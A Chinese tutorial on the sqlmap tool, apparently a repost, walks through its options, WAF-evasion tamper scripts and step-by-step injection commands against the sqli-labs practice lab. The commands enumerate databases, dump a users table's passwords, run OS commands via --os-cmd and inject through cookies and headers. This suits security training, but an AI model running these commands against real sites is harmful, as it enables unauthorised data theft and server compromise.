sqlmap使用教程(超详细)

-u 指定目标URL (可以是http协议也可以是https协议)-d 连接数据库--dbs 列出所有的数据库--current-db 列出当前数据库--tables 列出当前的表--columns 列出当前的列-D 选择使用哪个数据库-T 选择使用哪个表-C 选择使用哪个列--dump 获取字段中的数据--batch 自动选择yes--smart 启发式快速判断,节约浪费时间--forms 尝试使用post注入-r 加载文件中的HTTP请求(本地保存的请求包txt文件)-l 加载文件中的HTTP请求(本地保存的请求包日志文件)-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试-o 开启所有默认性能优化--tamper 调用脚本进行注入-v 指定sqlmap的回显等级--delay 设置多久访问一次--os-shell 获取主机shell,一般不太好用,因为没权限-m 批量操作-c 指定配置文件,会按照该配置文件执行动作-data data指定的数据会当做post数据提交-timeout 设定超时时间--level 设置注入探测等级--risk 风险等级--identify-waf 检测防火墙类型--param-del="分割符" 设置参数的分割符--skip-urlencode 不进行url编码--keep-alive 设置持久连接,加快探测速度--null-connection 检索没有body响应的内容,多用于盲注--thread 最大为10 设置多线程

详解:

--delay

有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时

--safe-url

有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。

--tamper

语法:--tamper ["脚本名称"]

当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中

脚本信息

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

apostrophemask.py              用UTF-8全角字符替换单引号字符

apostrophenullencode.py        用非法双字节unicode字符替换单引号字符

appendnullbyte.py              在payload末尾添加空字符编码

base64encode.py                对给定的payload全部字符使用Base64编码

between.py                     分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

bluecoat.py                    在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”

chardoubleencode.py            对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

charencode.py                  对给定的payload全部字符使用URL编码(不处理已经编码的字符)

charunicodeencode.py           对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

concat2concatws.py            用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

equaltolike.py                用“LIKE”运算符替换全部等于号“=”

greatest.py                   用“GREATEST”函数替换大于号“>”

halfversionedmorekeywords.py  在每个关键字之前添加MySQL注释

ifnull2ifisnull.py            用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

lowercase.py                  用小写值替换每个关键字字符

modsecurityversioned.py       用注释包围完整的查询

modsecurityzeroversioned.py   用当中带有数字零的注释包围完整的查询

multiplespaces.py             在SQL关键字周围添加多个空格

nonrecursivereplacement.py    用representations替换预定义SQL关键字,适用于过滤器

overlongutf8.py               转换给定的payload当中的所有字符

percentage.py                 在每个字符之前添加一个百分号

randomcase.py                 随机转换每个关键字字符的大小写

randomcomments.py             向SQL关键字中插入随机注释

securesphere.py               添加经过特殊构造的字符串

sp_password.py                向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

space2comment.py              用“/**/”替换空格符

space2dash.py                 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符

space2hash.py                 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

space2morehash.py             用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

space2mssqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符

space2mssqlhash.py            用磅注释符“#”其次是一个换行符替换空格符

space2mysqlblank.py           用一组有效的备选字符集当中的随机空白符替换空格符

space2mysqldash.py            用破折号注释符“--”其次是一个换行符替换空格符

space2plus.py                 用加号“+”替换空格符

space2randomblank.py          用一组有效的备选字符集当中的随机空白符替换空格符

unionalltounion.py            用“UNION SELECT”替换“UNION ALL SELECT”

unmagicquotes.py              用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入

varnish.py                    添加一个HTTP头“X-originating-IP”来绕过WAF

versionedkeywords.py          用MySQL注释包围每个非函数关键字

versionedmorekeywords.py      用MySQL注释包围每个关键字

xforwardedfor.py              添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

-v ["x"]

使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:

等级

解释

0

只显示python错误以及严重信息

1

同时显示基本信息和警告信息

2

同时显示debug信息

3

同时显示注入的pyload

4

同时显示HTTP请求

5

同时显示HTTP相应头

6

同时显示HTTP相应页面

--level

level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5

–-os-cmd=["命令"] 或 --os-shell=["命令"] 执行系统命令

利用sql-labs-less1测试 whoami 命令

sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

选择web服务器支持的语言

选择web服务器的可写目录

[1] 使用默认的

[2] 自定义位置

[3] 自定义目录列表文件

[4] 暴力搜索

我在本地测试,节省时间,我选择2 ,自定义路径,然后把路径输入在下面

执行命令后的返回结果

以下关卡均可用get型的方法,常规注入

1

2

3

4

5

step1:sqlmap -u ["URL"//测试是否存在注入

step2:sqlmap -u ["URL"] -current-db //查询当前数据库

step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表

step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)

step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容

GET型

关卡

类型

sql-labs-less1

GET单引号字符型注入

sql-labs-less2

数字型注入

sql-labs-less3

有括号的单引号报错注入

sql-labs-less4

有括号的双引号报错注入

sql-labs-less5

单引号二次注入

sql-labs-less6

双引号二次注入

sql-labs-less7

文件导入导出

sql-labs-less8

布尔型盲注

sql-labs-less9

时间型盲注

sql-labs-less10

双引号时间盲注

sql注入检测

get型:

语法:sqlmap -u ["url"]

1

sqlmap -u http://192.168.0.6/sqli-labs-master/Less-1/?id=1

post型:

先使用bp把提交的数据包保存下来

或者直接

加上post提交的参数

语法:sqlmap -r ["请求包的txt文件"]

1

sqlmap -r "/root/.sqlmap/post.txt"

sql-labs -less1~sql-labs-less9

获取当前数据库名称:

语法:sqlmap -u [“url”] --current-db

1

sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --current-db

获取指定数据库的表名:

语法:sqlmap -u [“url”] -D [‘数据库名’] --tables

1

sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security --tables

获取指定数据库指定表中的字段:

语法:sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columns

1

sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

获取指定数据库指定表的指定字段的字段内容:

语法:sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump

1

sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dump

sql-labs-less10

1

sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" --current-db

提升等级 -level 2

1

sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" -level 2 --current-db

sql-labs-less11~less17常规 POST 注入

1

2

3

4

5

step1:sqlmap -r ["请求头文本"]  //测试是否存在注入

step2:sqlmap -r ["请求头文本"] --current-db //查询当前数据库

step3:sqlmap -r ["请求头文本"] -D ["数据库名"] --tables //查询当前数据库的所有表

step4:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] --columns //查询指定库指定表的所有列

step5:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库指定表指定列的所有字段内容

POST

关卡

类型

sql-labs-less11

基于错误的单引号字符型注入

sql-labs-less12

基于错误的双引号字符型注入

sql-labs-less13

单引号变形双注入

sql-labs-less14

双引号变形双注入

sql-labs-less15

Bool型时间延迟单引号盲注

sql-labs-less16

Bool型时间延迟双引号盲注

sql-labs-less17

更新查询注入

sql-labs-less18

Uagent注入

sql-labs-less19

Referer注入

sql-labs-less20

Cookie注入

sql-labs-less18

Header injection - Uagent

sqlmap 在对user-agent 注入的时候,得在文件中的user-agent的参数后面加上 *

或者不加 * 号,调用 --level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入

1

sqlmap -r "/root/.sqlmap/post.txt" -level 3

sql-labs-less19

Header injection - Referer

对Referer注入和User-agent相同,要么是在Referer后面加上 *

或者将 level 调至 3 级

sql-labs-less20

Header injection -Cookie

语法:sqlmap -u [“url”] --cookie ["cookie信息"] --level 2

1

sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2

原文:https://www.cnblogs.com/Hunter-01001100/p/12377393.html

sqlmap使用教程(超详细)相关推荐

  1. maven配置阿里云_阿里云OSS PicGo 配置图床教程 超详细

    阿里云OSS和PicGo配置图床教程 超详细 废话不多说,直接开始 购买阿里云OSS服务 登录阿里云 打开侧边栏,选择对象存储OSS,如下图: 对象存储界面右部选择创建Bucket,如下图所示: 之后 ...

  2. SQLMap用户手册【超详细】

    SQLMap用户手册[超详细] 文章来源:http://www.cnblogs.com/hongfei/p/3872156.html ps:直接copy http://192.168.136.131/ ...

  3. svn安装教程 mysql_CentOS6.4 下安装SVN的详细教程(超详细)

    1.检查系统是否已经安装如果安装就卸载 rpm -qa subversion yum remove subversion 2.安装 yum install subversion 3.建立SVN库 mk ...

  4. 新版Android Studio(4.1.1 for Windows 64-bit)的安装教程(超详细)

    新版Android Studio(4.1.1 for Windows 64-bit)的安装教程(超详细) 获取Android Studio软件 在心仪的磁盘新建文件夹:AndroidStudio(文件 ...

  5. 【台大郭彦甫】Matlab入门教程超详细学习笔记二:基本操作与矩阵运算(附PPT链接)

    Matlab入门教程超详细学习笔记二:基本操作与矩阵运算 前言 一.基本操作 1.把matlab当作计算器使用 2.变量 3.控制格式输出 二.矩阵运算 1.矩阵 2.矩阵索引 3.使用:创建向量 4 ...

  6. windows安装Weblogic教程(图文教程超详细版)

    windows安装Weblogic教程(超详细) 一. 下载 WebLogic 到Oracle官网http://www.oracle.com/ 下载WebLogic(根据自己的情况选择),本文档下载的 ...

  7. 阿里云OSS PicGo 配置图床教程 超详细

    阿里云OSS和PicGo配置图床教程 超详细 废话不多说,直接开始 购买阿里云OSS服务 登录阿里云 打开侧边栏,选择对象存储OSS,如下图: 对象存储界面右部选择创建Bucket,如下图所示: 之后 ...

  8. exe电子书制作教程(超详细)【申明:来源于网络】

    exe电子书制作教程(超详细)[申明:来源于网络] 地址:http://wenku.baidu.com/view/0b046907eff9aef8941e0631.html

  9. Centos7环境下安装Mysql8详细教程(超详细,亲测百分百成功)

    Centos7环境下安装Mysql8详细教程(超详细,亲测百分百成功) 文章目录 Centos7环境下安装Mysql8详细教程(超详细,亲测百分百成功) 1.上传或者下载mysql安装包 2.检查是否 ...

  10. Redis安装教程超详细

    Redis安装教程超详细 一.Redis安装 1.windows下安装 2.Linux下安装 一.Redis安装 1.windows下安装 默认端口:6379 1.下载链接 https://githu ...

最新文章

  1. Python入门100题 | 第010题
  2. 如何发现 Redis 热点 Key ,解决方案有哪些?
  3. iOS - 上架的APP 生成二维码下载
  4. 软件工程——结对编程第二次作业
  5. Access 时间比较错误
  6. 诺基亚宣布与博通合作开发5G芯片 包括定制处理器
  7. .NET开发中你可能会用到的常用方法总结(添加ing...)
  8. java开发之分页查询
  9. Winsw将jar包部署为windows服务
  10. 获取分辨率函数是什么_什么是像素?分辨率是什么?
  11. 数字音频接口时序简介
  12. 常用USB芯片介绍(转串口、SPI 、单片机读写U盘)
  13. 关于word中最后一个分节符导致的空白页删除问题
  14. qemu启动openEuler Embedded镜像
  15. 高德地图 搜索定位 搜索关键词 定位
  16. QLU ACM2018新生赛
  17. 运行tensorflow程序,出现ImportError: cannot import name '_validate_lengths'错误的解决办法
  18. tomcat监控脚本(监控进程,测试接口,告警动作为发送邮件)
  19. MySQL下载和安装(Windows)
  20. 软件测试面试题:对杯子进行测试用例设计?

热门文章

  1. 深入理解ajax系列第九篇
  2. spring4.0.0的配置和使用
  3. linux下vmware的安装、物理分区使用及卸载
  4. asp.net中实现登陆的时候用SSL
  5. 降维: 主成分分析(PCA) 局部线性嵌入(LLE)
  6. 吴恩达深度学习笔记(归一化)
  7. ISA 对比 PCI(ISA vs PCI)
  8. QML 插件开发 Plugin封装
  9. Openbox自定义键盘(lxde-rc)
  10. [Android 5.1] 多用户管理UserManager相关整理